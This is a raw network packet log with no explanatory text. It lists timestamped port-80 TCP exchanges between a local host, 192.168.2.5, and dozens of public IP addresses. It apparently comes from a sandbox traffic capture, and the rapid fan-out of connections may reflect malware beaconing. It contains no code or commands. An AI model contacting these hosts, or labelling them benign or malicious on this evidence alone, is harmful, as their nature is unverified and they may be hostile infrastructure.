Oct 25, 2024 11:17:35.605024099 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:35.605119944 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:35.610495090 CEST	80	52583	69.163.239.62	192.168.2.5
Oct 25, 2024 11:17:35.630748987 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:35.636276007 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:17:35.636348009 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:35.636593103 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:35.641958952 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:17:35.784240961 CEST	80	52571	80.74.154.6	192.168.2.5
Oct 25, 2024 11:17:35.784337997 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:17:35.819919109 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:17:35.825392962 CEST	80	52571	80.74.154.6	192.168.2.5
Oct 25, 2024 11:17:35.840595961 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:17:35.843192101 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:35.864284992 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:35.867230892 CEST	80	52578	198.185.159.144	192.168.2.5
Oct 25, 2024 11:17:35.867269039 CEST	80	52578	198.185.159.144	192.168.2.5
Oct 25, 2024 11:17:35.867333889 CEST	52578	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:17:35.869831085 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:17:35.958869934 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:35.964415073 CEST	80	52585	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:35.966125011 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:35.966379881 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:35.971805096 CEST	80	52585	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:36.015487909 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:17:36.015633106 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:36.031595945 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:36.037189007 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:17:36.041830063 CEST	80	52579	192.252.154.18	192.168.2.5
Oct 25, 2024 11:17:36.042041063 CEST	52579	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:17:36.074721098 CEST	80	52571	80.74.154.6	192.168.2.5
Oct 25, 2024 11:17:36.075712919 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:17:36.106280088 CEST	52587	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:17:36.111731052 CEST	80	52587	193.166.255.171	192.168.2.5
Oct 25, 2024 11:17:36.111809015 CEST	52587	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:17:36.112068892 CEST	52587	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:17:36.117605925 CEST	80	52587	193.166.255.171	192.168.2.5
Oct 25, 2024 11:17:36.126214027 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:17:36.126303911 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:36.190737009 CEST	80	52580	188.165.133.163	192.168.2.5
Oct 25, 2024 11:17:36.190870047 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:17:36.207675934 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:17:36.213326931 CEST	80	52580	188.165.133.163	192.168.2.5
Oct 25, 2024 11:17:36.214570999 CEST	52591	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:17:36.220015049 CEST	80	52591	46.242.238.60	192.168.2.5
Oct 25, 2024 11:17:36.220089912 CEST	52591	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:17:36.220684052 CEST	52591	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:17:36.226150036 CEST	80	52591	46.242.238.60	192.168.2.5
Oct 25, 2024 11:17:36.302776098 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:17:36.302843094 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:36.304949999 CEST	80	52583	69.163.239.62	192.168.2.5
Oct 25, 2024 11:17:36.305031061 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:36.325834036 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:36.331295013 CEST	80	52583	69.163.239.62	192.168.2.5
Oct 25, 2024 11:17:36.405644894 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:36.405836105 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:36.429029942 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:36.434978962 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:36.447026014 CEST	80	52580	188.165.133.163	192.168.2.5
Oct 25, 2024 11:17:36.447110891 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:17:36.502329111 CEST	80	52583	69.163.239.62	192.168.2.5
Oct 25, 2024 11:17:36.504131079 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:36.509896994 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:17:36.510020971 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:36.583019972 CEST	80	52585	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:36.584213018 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:36.691210985 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:36.691307068 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:36.738468885 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:36.741559982 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:36.748188019 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:17:36.748261929 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:36.748878002 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:36.751496077 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:17:36.754821062 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:17:36.843833923 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:36.850493908 CEST	80	52585	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:36.906049967 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:17:36.911514044 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:17:36.911597967 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:17:36.911715984 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:17:36.917673111 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:17:36.977797031 CEST	80	52585	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:36.977897882 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:37.007390022 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:17:37.007498980 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:37.019336939 CEST	80	52587	193.166.255.171	192.168.2.5
Oct 25, 2024 11:17:37.019403934 CEST	52587	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:17:37.019520998 CEST	52587	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:17:37.024802923 CEST	80	52587	193.166.255.171	192.168.2.5
Oct 25, 2024 11:17:37.075639009 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:37.081206083 CEST	52600	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.081244946 CEST	80	52599	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:37.081413031 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:37.081413031 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:37.082771063 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:37.086551905 CEST	80	52600	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.086617947 CEST	52600	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.086751938 CEST	80	52599	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:37.086751938 CEST	52600	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.091727972 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:37.091743946 CEST	80	52591	46.242.238.60	192.168.2.5
Oct 25, 2024 11:17:37.091795921 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:37.091885090 CEST	52591	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:17:37.091967106 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:37.093746901 CEST	80	52600	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.099070072 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:37.143827915 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:17:37.149166107 CEST	80	52602	116.211.150.37	192.168.2.5
Oct 25, 2024 11:17:37.149233103 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:17:37.149429083 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:17:37.155035973 CEST	80	52602	116.211.150.37	192.168.2.5
Oct 25, 2024 11:17:37.196568966 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:37.201903105 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:37.201967955 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:37.202099085 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:37.207365036 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:37.289905071 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:37.295375109 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:17:37.295447111 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:37.295583963 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:37.301398039 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:17:37.368805885 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:17:37.368866920 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:37.459834099 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:17:37.459923029 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:37.609473944 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:17:37.609534025 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:37.626844883 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:37.632201910 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:17:37.755743027 CEST	80	52600	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.755856037 CEST	52600	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.786583900 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:17:37.786662102 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:17:37.789901972 CEST	80	52600	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.790041924 CEST	52600	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.790071011 CEST	52600	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.795453072 CEST	80	52600	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.801086903 CEST	80	52599	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:37.801194906 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:37.805270910 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:17:37.808862925 CEST	52606	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.810645103 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:17:37.814254045 CEST	80	52606	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.814325094 CEST	52606	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.816871881 CEST	52606	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:37.821526051 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:37.822158098 CEST	80	52606	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:37.826881886 CEST	80	52599	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:37.884701967 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:17:37.884783983 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:37.933099985 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:17:37.933167934 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:37.950376034 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:37.955766916 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:17:38.004265070 CEST	80	52599	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:38.004329920 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:38.025793076 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:38.031255960 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:38.031322002 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:38.031450987 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:38.036837101 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:38.049525976 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:38.049668074 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:38.064254045 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:17:38.064382076 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:17:38.068345070 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.073503971 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073549032 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073574066 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073611975 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073734045 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073776007 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073813915 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073837042 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073853016 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073860884 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073868990 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073884010 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073903084 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073906898 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073915958 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073924065 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073941946 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.073955059 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.073971987 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.074043036 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.074791908 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.074876070 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.076287985 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076304913 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076328039 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076343060 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076355934 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.076412916 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076415062 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.076415062 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.076428890 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076445103 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076459885 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076474905 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076481104 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.076489925 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.076507092 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.076524019 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.076560974 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.079866886 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.079905033 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.079989910 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.080013037 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.080032110 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.080204010 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.083307981 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.083395004 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.083513021 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.083648920 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.085236073 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.085338116 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:38.092232943 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:38.109880924 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:17:38.110069036 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:38.139823914 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:17:38.139895916 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:17:38.191092014 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191111088 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191127062 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191143036 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191160917 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191224098 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.191251993 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.191348076 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191431999 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191447973 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191462040 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191473961 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.191477060 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.191493034 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.191534042 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.191654921 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.191679955 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.191698074 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.191807032 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.191881895 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.191943884 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.191960096 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.191975117 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.191993952 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.192027092 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.192027092 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.192293882 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.192316055 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.192352057 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.192354918 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.192370892 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.192397118 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.192397118 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.192420959 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.192445993 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.192481995 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.192496061 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.192511082 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.192518950 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.192526102 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.192543983 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.192559958 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.192576885 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.193207979 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.193231106 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.193245888 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.193262100 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.193262100 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.193281889 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.193300009 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.193301916 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.193336010 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.193377972 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.193392992 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.193407059 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.193422079 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.193434954 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.193469048 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.194261074 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.194302082 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.194314957 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.194330931 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.194344997 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.194354057 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.194369078 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.194384098 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.194391966 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.194391966 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.194417000 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.194458008 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.195223093 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.195255041 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.195262909 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.195283890 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.195298910 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.195302963 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.195336103 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.195352077 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.196032047 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.196089983 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.197272062 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.197314978 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.197324038 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.197359085 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.219485044 CEST	80	52602	116.211.150.37	192.168.2.5
Oct 25, 2024 11:17:38.219547987 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:17:38.219599962 CEST	80	52602	116.211.150.37	192.168.2.5
Oct 25, 2024 11:17:38.219641924 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:17:38.233038902 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.233056068 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.233072042 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.233154058 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.233181000 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.307368994 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307399035 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307415009 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307429075 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307441950 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307467937 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307487011 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307502985 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307517052 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307533026 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307673931 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.307754993 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.307800055 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307816029 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307831049 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307845116 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307853937 CEST	52601	80	192.168.2.5	104.21.66.46
